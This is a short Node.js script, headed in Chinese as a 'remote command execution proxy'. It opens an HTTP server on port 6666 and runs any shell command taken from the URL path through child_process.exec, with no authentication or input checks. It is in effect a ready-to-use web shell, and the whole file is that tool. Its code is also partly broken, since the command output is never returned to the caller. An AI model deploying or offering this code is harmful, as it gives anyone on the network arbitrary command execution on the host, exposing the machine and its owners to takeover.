/**
 * 远程命令执行代理
 * http://host:6666/cmd/{your command}
 */
var sys = require('sys'),
   http = require('http');
http.createServer(function (req, res) {
  var cmd = req.url.substring(req.url.indexOf('cmd')+4,req.url.length);
  cmd = decodeURIComponent(cmd);
  console.log("cmd: "+cmd)
  var result = run(cmd);
    res.writeHead(200, {'Content-Type': 'text/plain'});
    res.write('Hello World');
    res.end();
}).listen(6666);

function run(cmdStr){
  var exec = require('child_process').exec;
  exec(cmdStr, function(err,stdout,stderr){
    if(err) {
        console.log('error:'+stderr);
    } else {
		console.log("result: "+stdout);
        return stdout;
    }
});
}